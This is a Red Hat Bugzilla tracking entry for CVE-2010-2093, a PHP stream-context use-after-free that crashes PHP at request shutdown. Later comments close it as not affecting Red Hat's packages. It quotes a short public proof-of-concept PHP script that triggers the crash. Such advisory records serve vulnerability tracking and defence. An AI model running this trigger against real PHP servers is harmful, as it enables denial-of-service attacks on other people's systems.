Bug 598474 (CVE-2010-2093, MOPS-2010-022) - CVE-2010-2093 PHP: Context stream use-after-free on request shutdown (MOPS-2010-022)
Summary: CVE-2010-2093 PHP: Context stream use-after-free on request shutdown (MOPS-20...
Keywords:
Status: CLOSED NOTABUG
Alias: CVE-2010-2093, MOPS-2010-022
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
low
low
Target Milestone: ---
Assignee: Red Hat Product Security
QA Contact:
URL: http://php-security.org/2010/05/12/mo...
Whiteboard:
Depends On:
Blocks:
TreeView+ depends on / blocked
 
Reported: 2010-06-01 13:12 UTC by Jan Lieskovsky
Modified: 2021-02-24 23:03 UTC (History)
4 users (show)

Fixed In Version:
Clone Of:
Environment:
Last Closed: 2011-09-21 05:38:20 UTC
Embargoed:


Attachments (Terms of Use)

Description Jan Lieskovsky 2010-06-01 13:12:53 UTC
Common Vulnerabilities and Exposures assigned an identifier CVE-2010-2093 to
the following vulnerability:

Use-after-free vulnerability in the request shutdown functionality in
PHP 5.2 before 5.2.13 and 5.3 before 5.3.2 allows context-dependent
attackers to cause a denial of service (crash) via a stream context
structure that is freed before destruction occurs.

References:
  [1] http://php-security.org/2010/05/12/mops-2010-022-php-stream-context-use-after-free-on-request-shutdown-vulnerability/index.html

Public PoC (from [1]):

<?php
     $blah = fopen('/dev/zero','a');
     $arr = array();
     for ( $i = 0 ; $i < 5000 ; $i++ ) {
       $arr[$i] = "";
     }
     stream_context_get_options($blah);
     $a88 = fread($blah,100000000000);
  ?>

Credit: Mateusz Kocielski

Comment 3 Tomas Hoger 2010-07-28 10:00:14 UTC
This issue is still unfixed in 5.3.3.

Comment 4 Huzaifa S. Sidhpurwala 2011-09-21 05:34:59 UTC
Statement:

Not Vulnerable. This issue does not affect the version of php as shipped with Red Hat Enterprise Linux 4, 5 and 6. This issue does not affect the version of php53 as shipped with Red Hat Enterprise Linux 5.

Comment 5 Huzaifa S. Sidhpurwala 2011-09-21 05:38:20 UTC
Fedora is currently updated to php-5.3 which is not affected by this flaw.


Note You need to log in before you can comment on or make changes to this bug.